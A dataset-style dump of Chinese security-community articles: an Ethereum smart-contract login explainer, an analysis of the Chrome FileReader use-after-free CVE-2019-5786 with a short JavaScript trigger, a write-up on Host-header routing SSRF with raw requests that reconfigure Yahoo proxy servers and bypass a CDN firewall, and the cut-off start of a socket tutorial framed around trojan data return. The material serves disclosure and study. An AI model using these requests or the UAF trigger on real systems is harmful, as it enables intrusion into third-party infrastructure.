text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【技术分享】以太坊与智能合约之身份认证
##### 译文声明
本文是翻译文章，文章来源：dzone.com
原文地址：<https://dzone.com/articles/authentication-ethereum-and-smart-contracts>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[ureallyloveme](http://bobao.360.cn/member/contribute?uid=2586341479)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
我们将使用以太坊来处理身份验证的问题。我们在这里所给出的是与区块链身份验证技术相关的典型问题。
[比特币](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fwww.bitcoin.com%2F)自2009
年问世以来，以其去中心化的、安全的货币交易理念惊艳了整个世界。以太坊的概念不仅仅只是数字化货币，它通过与图灵完备的智能合约相结合赋能了去中心化的交易模式。在这篇文章，我们联手Ivo
Zieliński，Konrad Kozioł，David
Belinchon，和来自[GFT创新团队](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fwww.gft.com%2F)的Nicolás
González为以太坊用户开发了一套可实现的基于以太坊的登录系统。这是一个理想的登录系统，它能够允许任何以太坊用户在不必使用其私钥的情况下，证明自己的以太坊帐户的所有权，就像他们登录到Facebook一样。
**介绍**
我们先来看看用户是如何登录到一个简单的系统上的：
1\. 一个用户浏览到一个需要登录的第三方网站。该网站要求用户在文本区域内输入以太坊地址。
2\. 用户输入其以太坊地址，并单击"登录"。
3\. 后端的第三方生成一个挑战字符串，并且签发一个JWT（Json web token），该挑战字符串被嵌入其中。
4\. 由于login合约已在以太坊上可用了，用户可以直接将挑战字符串发送给login的方法。
5\. 后端持续观察以太坊网络，是否出现由以太坊地址所有者在步骤2中所输入的并且被发送过来的挑战字符串。
6\.
如果在合理的时间内，后端监测到挑战字符串，则用来自步骤2的以太坊地址作为标识，将该用户标记为登录成功的状态。一个新的带有完整地址的JWT随即会被发布给第三方网站。
不过上述这种方法存在着一系列的问题：
1\. 用户必须选择使用其以太坊的钱包，手动调用login合约里的login方法。
2\. 用户必须事先知道login合约的地址和接口。
3\. 用户必须花费一些以太币用以登录，因为合约所依赖的events被记录到了区块链上（也就是说，它们执行了写操作）。这使得合约需要消费gas来运行。
4\. 在登录完成之前，后端必须等待一个新的块来被开采，并从网络上传播过来（最小的延迟大约是12秒或更长的时间）。
正如你所能想象到的，这些限制使得简单的身份验证都无法被实现。所以我们需要进行改进。
**以太坊用户登录系统**
我们的系统将依赖于三个关键的要素： 一台身份验证服务器、一个移动应用程序和以太坊的网络。下图是他们之间的交互过程。
要确保用户的以太坊地址与身份验证过程相独立，系统会生成一个完全不同的、仅作身份验证的以太坊地址。该地址通过使用以太坊合约与用户的以太坊地址相关联。换句话说，用户的以太坊地址和系统仅作登录用的地址之间的映射关系会被建立。这种映射在合约的帮助下被存储在以太坊的区块链内。
pragma solidity ^0.4.2;
contract Mapper {
event AddressMapped(address primary, address secondary);
event Error(uint code, address sender);
mapping (address => address) public primaryToSecondary;
mapping (address => bool) public secondaryInUse;
modifier secondaryAddressMustBeUnique(address secondary) {
if(secondaryInUse[secondary]) {
Error(1, msg.sender);
throw;
}
_;
}
function mapAddress(address secondary)
secondaryAddressMustBeUnique(secondary) {
// If there is no mapping, this does nothing
secondaryInUse[primaryToSecondary[msg.sender]] = false;
primaryToSecondary[msg.sender] = secondary;
secondaryInUse[secondary] = true;
AddressMapped(msg.sender, secondary);
}
}
虽然该合约是我们目前所见到最为复杂的，但它仍然是比较容易理解的。让我们一起来解析一下吧：
这里有两个事件： AddressMapped和Error 。
AddressMapped事件是在用户的主以太坊地址映射到一个辅助的、只作登录用的地址时所生成的。Error事件是遇到诸如映射使用到了现有的、已经存在的辅助地址之类的错误时才生成的。
然后是两个变量的声明：primaryToSecondary和secondaryInUse。primaryToSecondary是一个地址的映射：根据主地址，它可以告知其所映射的辅助地址。secondaryInUse是一个指向布尔值的地址的映射，用于检查辅助地址是否已被使用。
接下来的是secondaryAddressMustBeUnique。这个特殊函数是一个修改器。Solidity里的修改器是一些可以附加到合约方法里的特殊函数。这些都是在方法代码之前运行的，并且可以用来修改它们的行为。在本例中，secondaryAddressMustBeUnique使用secondaryInUse变量来确认作为参数传递的辅助地址是否正在使用中。如果是的话，它被标记为错误，而且Error事件就被激发了。如果它不是在使用中，则继续执行。_这个占位符是这个被修改的函数代码在逻辑上插入的位置。
最后一个是mapAddress方法。此方法获得一个辅助的地址，并将它映射到该方法的发方或者是调用方的地址上。以太坊在语义上确保发方是其所声明的身份。换句话说，对于一个地址而言，只有密钥的所有者才能作为发方对Solidity的方法进行调用。这确保了在没有任何特殊检查的情况下，只有合法的主地址所有者才能够建立它与用于登录的辅助地址之间的映射关系。这正是我们系统的关键所在。
**总之，我们的合约做到了四点：**
它建立了两个以太坊地址之间的映射：一个高值的地址（主地址）和一个低值的、只作登录的辅助地址。
它保证了只有主地址的所有者才可以建立这种映射。
它在区块链中公开地记录了此信息。
它向监控发送了事件，并且对存储在它里面的数据变化作出了反应。
我们的系统就是这样按我们的需要进行工作的。下面让我们来看看注册和身份验证流程是如何一起运作的。我们在此假设用户是具有一定数量以太币、以及具有以太坊帐户的合法拥有者。
**注册**
这只是在用户初次使用该系统时，所执行的一个一次性的步骤。一旦注册完成，用户可以将其以太坊的地址使用到任何第三方的网站上。换句话说，这是一个全系统的、一次性的步骤。
为了简化身份验证的过程，我们使用一个移动应用程序来接受或拒绝身份验证的请求。用户通过启用其以太坊的帐户，来作为身份验证的一个因素，实现对移动应用程序的首次注册。
**注册按照以下的步骤执行：**
1\. 用户打开移动应用程序。
2\. 用户输入其电子邮件地址和屏幕解锁图案。
3\. 移动应用程序在后台生成新的以太坊的地址。这是个辅助地址。该地址被便捷地发送到用户的电子邮箱。
4\.
用户在其主以太坊地址和辅助地址之间建立链接。要实现这一点，用户可以手动调用Mapper合约的mapAddress方法，或是用到为此目的开发的、特殊的钱包应用程序。这一步需要用户花费其主帐户里最少数量的gas。
5\. 一旦地址之间的链接被建立，移动应用程序将显示一个确认的对话框。如果用户确认之，该映射就建立好了，而本过程也就完成。
这种方法的增值好处之一在于：它使得一次性的传销帐户难以使用之。上述步骤4强制用户去花费以太币，来建立其个人的以太坊地址和仅登录用的地址之间的映射。对于这种方式，第三方则可以确保用户所使用的以太坊帐户并非一次性传销的帐户（例如垃圾邮件类帐户）。
**身份验证**
一旦已注册的用户想要使用其以太坊帐户登录到一个第三方的网站，他或她就必须遵循如下的过程：
1\. 用户在输入字段中输入他或她的主以太坊地址或是他或她的电子邮件地址，单击"登录"。
2\. 第三方网站联系身份验证服务器，请求验证该地址。要实现这一步，第三方网站需要生成具有特定格式的挑战字符串，并将它传递给身份验证服务器。
3\. 身份验证服务器检查该用户在以太坊网络中的当前辅助地址。然后，它在内部数据库中检查必需的数据，以联系与该地址相关联的移动设备。
4\. 用户接收移动设备推送的通知，以是接受或拒绝登录请求。
5\. 如果用户接受，辅助地址的私有密钥将被用于签发挑战字符串。签发的挑战然后被送回到身份验证服务器上。
6\. 身份验证服务器验证该签名，如果其有效且与挑战相匹配，则认为该登录成功。随后，它发回已签名的挑战给第三方网站，作为可选的独立性确认依据。
这就是全部！该方案将签名过程从敏感的主地址中分离出来，在防止暴露潜在重要的私有密钥的同时，仍然使第三方网站能够确认用户是否为该地址的合法所有者。此外，虽然为了方便起见，它依赖到了身份验证服务器，但是它在没有验证服务器的时候也能工作，它可以不把信任这一块放在验证服务器上（第三方网站可以自己检查签名）。因此在最坏的情况下（如身份验证服务器宕机），它也能够保持去中心化，而在平时去能保持便捷性。
**缺点**
为了方便起见，该方法依赖于身份验证服务器。虽然在没有身份验证服务器时，该系统仍然可能运行，但使用这种方式并不太方便。然而，我们在设计上必须考虑到“如果便捷的、去中心化的操作”是一种强制性的情况。在每种情况下，不信任的因素就被放在了该服务器之中。
试试看！
由于这只是一个概念上的证明，而你在真正初次试水以太坊时可能会有点困难，因此我们在此为新用户给出一个步进式的指南来测试该系统。请注意，这只是一个测试系统，因此它使用的是以太坊的测试网络。换句话说，存储在以太坊的测试网络中的数据完整性并不能得以保障，因此，不要把重要的东西存放在本指南所创建的帐户中，它们是不会受到像以太坊主网络那样同等保障的。
**获取以太坊钱包**
为了执行以太坊的各种操作，你需要一个钱包。钱包是一个应用程序，它允许你与网络的其余部分进行交互。钱包为你的以太坊地址存储私有密钥。为简单起见，我们将用到[Metamask](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fmetamask.io%2F)。Metamask是一个基于浏览器的钱包，它作为Chrome的扩展运行在本地。各个密钥被存储在本地，并由它们来签发各笔交易。然后，这些被Metamask所运营的公共节点发送到网络中的其余部分。
1\. 获得Metamask
浏览[Chrome Webstore](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fchrome.google.com%2Fwebstore%2Fdetail%2Fmetamask%2Fnkbihfbeogaeaoehlefnkodbefgpgknn)（https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn）并安装Metamask。
2\. 创建一个新帐户
在你的Chrome窗口的右上角单击Metamask图标，并根据其向导来创建一个帐户。请确保它是在Rinkeby
的测试网络中被创建。要检查这一步是否成功，你可在创建帐户之后，在Metamask窗口的左上角，单击Metamask狐狸旁边的图标。如果你使用的是另外一个网络，请切换到
Rinkeby，然后再跟着向导走下去。
3\. 获得一些以太币
为了注册，你将需要用最少数量的以太币。幸运的是，在测试网络中，这是很容易获得的（而在主网络中，你或是需要去购买，或是足够幸运地能够挖到“矿”)。在测试网络中，你可能会使用到"水龙头"（faucets），水龙头是一些得到免费以太币的地方。最[普通的Rinkeby水龙头](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fwww.rinkeby.io%2F)（https://www.rinkeby.io/）是要求用户创建[GitHub
gist（https://gist.github.com/）](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgist.github.com%2F)。这是简单的限制水龙头被滥用的方法。创建gist是非常容易的，你只需要有一个GitHub的帐户。请创建一个公共的GitHub
gist，并将你的Metamask
Rinkeby地址粘贴到其中。然后回到水龙头，并将链接放到gist的必填字段处，随后单击"给我以太币"(水龙头位于crypto
faucet部分的左边条上)。
经过这一番操作之后，你应该能在Metamask中可以看到你新获得的以太币了。
要获得你的Rinkeby以太坊地址，请转到Metamask，然后单击你的帐户名称旁边的"复制"图标。这将是你主以太坊的地址。在实际的生产系统中，会有大量的以太币出现在该帐户的地址中。这个地址也是在你每次使用以太坊地址登录到第三方网站的时候，所不想暴露的。
获取移动身份验证的应用程序
现在该设置你的辅助地址和登录帮助程序了。此应用程序将被作为身份验证的因子，用来确认你的登录请求。当你想要登录一些网站的时候，你将收到一个来自该应用程序的通知。此通知将允许你接受或拒绝身份验证的请求。
1\. 获取应用程序
进入Android Play商店，下载我们的[Auth0
PoC](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dblock.chain.auth.zero)应用程序（https://play.google.com/store/apps/details?id=block.chain.auth.zero）。
2\. 注册
打开该应用程序并输入你的电子邮件地址。然后选择屏幕解锁图案。当你想登录到网站时，你会被要求输入此相同的图案。然后单击Register。你将被要求在移动应用程序上单击Sign来予以确认。
移动应用程序现在就设置好了，让我们来为登录启用你的以太坊帐户吧。
为登录启用你的以太坊地址
这一步，和以前一样只需执行一次，完成你的主地址和登录地址之间的映射设置。换句话说，它将把你的Metamask帐户连接到你智能手机的移动应用程序上。
1\. 获得你的移动应用程序（辅助）地址
如果你现在查看你的电子邮件（请注意检查那些垃圾、促销类邮件），你就会发现你以太坊的辅地址了。这就是通过你的智能手机来管理的帐户地址。请将它复制到剪贴板中。
2\. 调用合约 ！
如果你是以太坊用户，且有你自己的钱包，你完全可以手动执行此步骤。然而为简单起见，我们已经建立了网站，为你分担了那些繁复的工作。同样使用你已安装了Metamask的Chrome实例，导航到[我们PoC钱包](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=http%3A%2F%2Fauth0-ethereum.com%3A3002%2Fwallet%2F)（http://auth0-ethereum.com:3002/wallet/）。这个网站是一个简单本地的、钱包类型的应用程序，它创建了调用合约所必须的以太坊事务。该网站与Metamask交互，因此你不必手动输入你的帐户详细信息。
一旦你进入该网站，请将你从上一步电子邮件里复制的以太坊地址粘贴进来，单击Register，会弹出一个Metamask的窗口。这是一个对于你将使用主帐户里的以太币来进行一笔交易的确认，因此请单击Sign。过一会儿后，你主账户和辅助帐户就连接上了，其花费的时间完全取决于以太坊的网络状态。一般也就是几秒钟而已。
考虑你可能已经对以太坊很熟悉了，而且想要自己手动执行此步骤。那么请调用Mapper合约里位于
0x5e24bf433aee99227737663c0a387f02a9ed4b8a的mapAddress方法吧。你也可以通过链接：[https://github.com/auth0/ethereum-auth-client/blob/master/config/abi.json](https://github.com/auth0/ethereum-auth-client/blob/master/config/abi.json)来获取[JSON
API](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgithub.com%2Fauth0%2Fethereum-auth-client%2Fblob%2Fmaster%2Fconfig%2Fabi.json)。其唯一的参数就是你在电子邮件里获得的地址。至此，一切都以完成！
**登录到我们的测试网站**
你现在可以运用你的电子邮件地址或是你的主以太坊地址作为凭据，登录到支持该身份验证方法的任何第三方网站了。请进入[我们的示例网站](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fauth0-ethereum.com%2Fauthzero)：https://auth0-ethereum.com/authzero，填写你的电子邮件地址，然后单击Login。同时注意查看你的智能手机所弹出的通知，以批准你的登录信息。
你会注意到一个标注着Trustless
Authentication的复选框。如前文所述，第三方可能选用不同的安全级别。当被告知登录为有效（信任类型的身份验证）时，它们可以选择信任身份验证服务器；或者它们可能会选择不信任身份验证服务器，而是自己内部去验证签名。在这种情况下，第三方网站必须自己去验证辅助地址的签名，它们首先使用Mapper合约（这是公开可以获得的）来查询辅助地址，然后通过辅助地址的返回数据来验证签名，以查找到辅助地址所对应的公共密钥。这提供的是最高的安全级别，而只是用到身份验证服务器来传递消息。
如果你有兴趣仔细了解我们的PoC是如何工作的话，这里是所有的资源库：
[身份验证服务器](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgithub.com%2Fauth0%2Fethereum-authentication-server)：https://github.com/auth0/ethereum-authentication-server
[移动应用程序](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgithub.com%2Fauth0%2Fethereum-authenticator-app-public)：https://github.com/auth0/ethereum-authenticator-app-public
[第三方web应用程序](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgithub.com%2Fauth0%2Fethereum-sample-web)的示例：https://github.com/auth0/ethereum-sample-web
[使用Metamask来注册钱包](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgithub.com%2Fauth0%2Fethereum-browser-wallet)：https://github.com/auth0/ethereum-browser-wallet
[简单测试的各种docker脚本](/Users/tangyizhen/Desktop/%E7%AE%80%E5%8D%95%E6%B5%8B%E8%AF%95%E7%9A%84%E5%90%84%E7%A7%8Ddocker%E8%84%9A%E6%9C%AC)：https://github.com/auth0/ethereum-docker-deployment
上述的资料库也用到了一些针对此PoC开发的帮助库：
[以太坊加密的帮助库：](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgithub.com%2Fauth0%2Fethereum-crypto)https://github.com/auth0/ethereum-crypto
此PoC用到的、[进行身份验证所需的JavaScript库](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgithub.com%2Fauth0%2Fethereum-auth-client)：https://github.com/auth0/ethereum-user-db-service
[简单的数据库抽象帮](http://www.microsofttranslator.com/bv.aspx?from=en&to=zh-CHS&a=https%3A%2F%2Fgithub.com%2Fauth0%2Fethereum-user-db-service)助：https://github.com/auth0/ethereum-user-db-service
为[此PoC预配置的以太坊客户端节点](/Users/tangyizhen/Desktop/%E6%AD%A4PoC%E9%A2%84%E9%85%8D%E7%BD%AE%E7%9A%84%E4%BB%A5%E5%A4%AA%E5%9D%8A%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%8A%82%E7%82%B9)：https://github.com/auth0/go-ethereum | 社区文章 |
# CVE-2019-5786 Chrome远程代码执行漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 腾讯湛泸实验室，文章来源：腾讯湛泸实验室
原文地址：<https://weibo.com/ttarticle/p/show?id=2309404351596157885398>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[腾讯湛泸实验室](https://weibo.com/u/6180234929)
## 0x00 背景
近期谷歌威胁分析团队（Google’s Threat Analysis
Group）发现了一例野外攻击中的Chrome远程代码执行漏洞:CVE-2019-5786。攻击者利用该漏洞配合一个win32k.sys的内核提权（[CVE-2019-0808](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0808)
）可以在win7上穿越Chrome沙箱。野外利用并且带有沙箱逃逸的Chrome漏洞实属罕见，因此腾讯安全湛泸实验室在谷歌官方发布公告后针对此次攻击进行了技术还原分析。
由于微软在windows 7上并未实现win32k
Lockdown机制，因此win7系统中的Chrome沙盒并不能充分防御win32k漏洞的利用。关于此次攻击中的[CVE-2019-0808](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0808)
win32k提权（<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0808>）我们不作过多介绍，重点来探讨CVE-2019-5786这个漏洞的一些细节。
## 0x01 技术细节
根据谷歌在Chrome3月份的安全更新（<https://chromereleases.googleblog.com/2019/03/stable-channel-update-for-desktop.html>）中的描述：这是一个FileReader中的Use-after-free漏洞。
在Chrome浏览器中，FileReader 可以用来异步读取存储在用户计算机上的文件（或原始数据缓冲区）的内容，使用 File 或 Blob
对象指定要读取的文件或数据。
FileReader 有三种状态，如下图所示:
我们在github上查找这个漏洞的补丁信息如下：<https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a90449>9
我们看补丁后的代码：在返回部分result的时候，不再直接返回raw_data_中的缓冲区，而是返回其拷贝。据此可以推测UAF应该是发生在这块直接返回的内存上。
通常情况下，如果我们构造以下JS片段
let arr1= new ArrayBuffer(0x1000)
let ta1 = new Uint8Array(arr1);
let ta2 = new Uint8Array(arr1);
neuter(arr1);
在上述代码中，如果ArrayBuffer
arr1被分离（detach），即arr1的所有权被转移到一个worker线程，那么该对象内部的was_detached标志位会被设置，后续TypedArray在使用该对象时候，会先进行检查。
BIT_FIELD_ACCESSORS(JSArrayBuffer, bit_field, was_detached,
JSArrayBuffer::WasDetachedBit)
也还要其他的操作来确保不会出现UAF，代码片段如下：
回到这个漏洞来看，
scoped_refptr<ArrayBuffer> ArrayBufferBuilder::ToArrayBuffer() {
// Fully used. Return m_buffer as-is.
if (buffer_->ByteLength() == bytes_used_)
return buffer_;
return buffer_->Slice(0, bytes_used_);
}
raw_data_->ToArrayBuffer()可能会返回内部buffer的拷贝，或者是返回一个指向其内部buffer的智能指针。
ArrayBuffer应该被理解为是独占其内部的buffer的，在后一种情况下，如果已经结束加载后获取FileReader的result，raw_data_会被清零；然而，如果在没有完成加载的情况下，多次获取FileReader的result，Chrome会创建多个内部引用相同buffer区域的DomArrayBuffer。此时我们通过worker线程释放其中一个，就可以在主线程中造成UAF。
Poc关键代码如下:
var reader1 = new FileReader();
// …
flag = reader1.result;
flag2 = reader1.result;
abc = new Uint8Array(flag);
abc2 = new Uint8Array(flag2);
neuter(flag);
//...
abc2[0] = 1; //uaf !
以上代码即可造成ArrayBuffer非常稳定的UAF。熟悉浏览器漏洞的同行都了解ArrayBuffer的漏洞很好利用，这里不再对利用方式作进一步讨论。
## 0x02 结论
根据上文的分析可以看到CVE-2019-5786是一个非常高质量的远程代码执行漏洞。腾讯安全湛泸实验室提醒广大Chrome用户尽快将浏览器升级到官方最新版。同时，建议国内使用Chrome内核的浏览器厂商紧密关注此次更新，主动排查修复风险，保障广大用户安全。 | 社区文章 |
# 【技术分享】针对HTTP的隐藏攻击面分析（中）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.portswigger.net/2017/07/cracking-lens-targeting-https-hidden.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
****
为了增强用户体验度，现代Web网站架构中都包含了各种各样的“隐藏系统”，这些系统不仅可以给用户提供各种额外的服务，而且还可以帮助管理员提取网站各方面的分析数据。但是，这些隐藏系统同样也是近些年里经常被人们忽略的隐形攻击面。
**传送门：[【技术分享】针对HTTP的隐藏攻击面分析（上）](http://bobao.360.cn/learning/detail/4218.html)**
**前文回顾**
****
在本系列文章的上集，我们对现代Web应用架构中的隐藏系统以及隐藏服务进行了简单描述，并且介绍了本系列文章中所要使用的工具以及技术。接下来，我们将用实际的例子来给大家进行详细的介绍。
**三、请求误传**
****
**1.无效主机**
触发一次回调最简单的方法就是发送一个错误的HTTP Host头：
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close
虽然这项技术大家很多年前就已经知道了，但是这种技术真正的能力却被人们大大低估了-我用这项技术成功入侵了二十七台美国国防部、我的互联网服务提供商、以及某哥伦比亚ISP的服务器。为了让大家更清楚地了解这种漏洞的严重程度，我们先看看下面这台雅虎的内部服务器（存在漏洞，域名为<http://ats-vm.lorax.bf1.yahoo.com/>）。
乍看之下，我们貌似看不出服务器运行了哪些软件：
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
但是在不到一分钟之后，我不仅弄清楚了服务器运行了哪些软件，而且我还知道怎么去跟它进行通信，这一切多亏了‘ **HELP** ’命令：
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
Traffic Server Overseer Port
commands:
get <variable-list>
set <variable-name> = "<value>"
help
exit
example:
Ok
get proxy.node.cache.contents.bytes_free
proxy.node.cache.contents.bytes_free = "56616048"
Ok
Variable lists are conf/yts/stats records, separated by commas
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
服务器端所返回的每一行“Unknown
Command”都会将请求中的每一行信息解析成单独的命令，因为它使用了一种换行符终止协议，所以我们无法通过传统的SSRF来利用这个漏洞。不过幸运的是，基于路由的SSRF灵活性更高，所以我可以采用GET请求来发送包含了任意命令的POST-style主体：
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34
GET proxy.config.alarm_email
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
proxy.config.alarm_email = [email protected]
在‘SET’命令的帮助下，我可以随意修改雅虎负载均衡池中的配置，包括[启用SOCKS代理](https://docs.trafficserver.apache.org/en/latest/admin-guide/files/records.config.en.html#socks-processor)并提升我IP地址的权限（[可向他们的缓存池中推送数据](https://docs.trafficserver.apache.org/en/latest/admin-guide/files/records.config.en.html#proxy-config-http-push-method-enabled)）。我发现这个安全问题之后便立刻将其上报给了雅虎，我的努力也让我收获了一万五千美刀的漏洞奖金。就在几周之后，我又用同样的方法发现了另一台包含相同漏洞的服务器，然后又拿到了额外的五千美刀奖金…
**2.分析英国电信（BT）**
****
在测试了‘无效主机’这项技术之后，我发现之前给完全不相关的公司所发送的Payload竟然得到的是一堆有限IP池所返回的Pingback，其中还包括cloud.mail.ru。我一开始假设，这些公司肯定使用的是相同的云端Web应用防火墙解决方案，而我就可以想办法将我所发送的请求传到它们的内部管理员接口了。但事实并非如此，这个IP池的反向DNS解析到的地址是bn-proxyXX.ealing.ukcore.bt.net，而这个地址属于英国电信集团，也就是我公司的互联网服务提供商。于是我打算使用Burp
Repeater来进行深入分析，你可以从下图中看到，响应信息的延迟为50ms，这个速度快得有些可疑了，因为这个请求-响应信息需要从英国发送到俄罗斯，然后再经过爱尔兰服务商的数据中心最终从俄罗斯回到英国。TCP跟踪路由（端口80）向我们揭露了真相：
当我尝试与cloud.mail.ru建立TCP链接时，链接被我的ISP中断了（我的流量是通过TCP端口443（HTTPS）发送的，并且消息没有被篡改）。这也就意味着，负责篡改流量的实体并没有mail.ru的TLS证书，因此消息的拦截并没有得到mail.ru的许可。这样一来，我就可以在办公室或家里照着做，而且我还可以通过这种方法入侵GHCQ的系统，但问题又绕回来了-这些系统到底是干嘛的？
为了弄清楚这些系统的真实用途，我使用Masscan来ping了整个IPv4地址空间
（TCP端口80，TLL=10）。过滤掉了缓存和自托管网站之后，我得到了一套完整的目标IP地址列表，而这些IP地址背后的系统主要是用来阻止其他用户访问受保护内容的。访问黑名单列表中的IP地址后，请求会被重定向到一个代理池中，这样它们就能够审查请求所使用的HTTP
host头了：
GET / HTTP/1.1
Host: www.icefilms.info
HTTP/1.1 200 OK
...
<p>Access to the websites listed on this page has been blocked pursuant to orders of the high court.</p>
但是，我们可以在不修改host头的情况下绕过这种屏蔽机制，不过在本系列文章中我们就不做深入探讨了。
这种设置会导致以下几种结果。多亏了虚拟主机的存在，我们可以将类似Google站点这样的云主机添加到黑名单中，意味着Google用户以及英国电信用户发送给它们的全部流量都会经过代理服务器。从服务器（黑名单中）的角度来看，所有的英国电信用户共享一个相同的IP地址池，这会导致攻击者将英国电信的代理IP加入黑名单，从而无法正常访问其他站点，并影响所有的英国电信用户。除此之外，我还使用了之前提到的管理员访问漏洞入侵了代理服务器的管理员面板，所以我就可以对代理服务器进行重新配置并向数百万英国电信用户的网络流量中注入任意内容了。
**3.分析METROTEL（哥伦比亚互联网服务提供商）**
****
实际上，哥伦比亚的互联网服务提供商METROTEL同样存在我们之前所描述的那些问题。但是对于英国电信来说，这些系统原本的用途可能是好的，但存在漏洞的话可就要另当别论了。需要注意的是，除了这些互联网服务提供商之外，包括bbc.co.uk在内的某些新闻网站同样存在这些问题。
**4.主机重写**
****
我之前曾使用这项技术来创建用于重置目标用户密码的钓鱼邮件，不过需要注意的是，这项技术还可以用来攻击美国国防部的服务器。其中的某些服务器设置了白名单来过滤host头，但你可别忘了，我们还可以指定主机以及host头的优先级：
GET http://internal-website.mil/ HTTP/1.1
Host: xxxxxxx.mil
Connection: close
将包含漏洞的前端服务器作为网关来使用，我们就可以访问各种各样有意思的内部站点了，其中可能包含公共论坛的文件传输服务，或者是某个代码库，而这些服务均有可能存在隐藏的攻击面。
**5.模棱两可的请求**
****
Incapsula
是一个提供CDN加速的服务商，它的CDN节点主要是在美国、英国、新加坡、以色列和日本等地区，它和CloudFlare的功能类似，国内可以通过指定Incapsula的其他CDN节点来加快网站访问速度并降低流量和其他资源的消耗。
Incapsula的云端Web应用防火墙后有一大堆服务器，而Incapsula主要通过检查请求的host头来确定这个请求应该被转发给哪一台服务器处理，所以之前所介绍的攻击技术在这里就无法奏效了。但是，Incapsula解析host头的过程是非常复杂的，而且还需要指定端口。我们可以参考下面这个发送给incapsula-client.net的请求：
GET / HTTP/1.1
Host: incapsula-client.net:[email protected]
Connection: close
incapsula-client.net的后台服务器会将这段输入转换成URL http://incapsula-client.net:[email protected]/，而我们就可以尝试通过用户名 'incapsula-client.net'以及密码'80'来完成burp-collaborator.net的身份验证了。除了暴露这个非常有意思的攻击面之外，这个服务还暴露了后台服务器的地址，并且允许我们直接访问后台服务器来绕过Incapsula的保护机制。
**总结**
在本系列文章的中集，我们介绍了几种可以暴露目标组织隐藏服务或隐藏系统的几种简单方法，那么在下集中，我们将会用实际的目标来给大家演示如何利用这些技术寻找到隐藏系统，并利用其中存在的安全漏洞来完成入侵攻击，感兴趣的同学请关注安全客的最新更新。 | 社区文章 |
# 前言
数据传输是病毒木马的必备技术之一，而数据回传也成为了病毒木马的一个重要特征，我们就尝试自己写一个程序来实现数据的传输，本文尝试通过c++来进行套接字(socket)的实现
# 基础知识
Socket又称套接字，应用程序通常通过套接字向网络发出请求或者应答网络请求。Socket的本质还是API，是对TCP/IP的封装
## **socket缓冲区**
每个 socket 被创建后，都会分配两个缓冲区，输入缓冲区和输出缓冲区。
write()/send()
并不立即向网络中传输数据，而是先将数据写入缓冲区中，再由TCP协议将数据从缓冲区发送到目标机器。一旦将数据写入到缓冲区，函数就可以成功返回，不管它们有没有到达目标机器，也不管它们何时被发送到网络，这些都是TCP协议负责的事情。
TCP协议独立于 write()/send()
函数，数据有可能刚被写入缓冲区就发送到网络，也可能在缓冲区中不断积压，多次写入的数据被一次性发送到网络，这取决于当时的网络情况、当前线程是否空闲等诸多因素，不由程序员控制。
read()/recv() 函数也是如此，也从输入缓冲区中读取数据，而不是直接从网络中读取，如下图所示
这些I/O缓冲区特性如下：
* I/O缓冲区在每个TCP套接字中单独存在；
* I/O缓冲区在创建套接字时自动生成；
* 即使关闭套接字也会继续传送输出缓冲区中遗留的数据；
* 关闭套接字将丢失输入缓冲区中的数据。
## **阻塞模式**
对于TCP套接字（默认情况下），当使用 write()/send() 发送数据时：
1) 首先会检查缓冲区，如果缓冲区的可用空间长度小于要发送的数据，那么 write()/send()
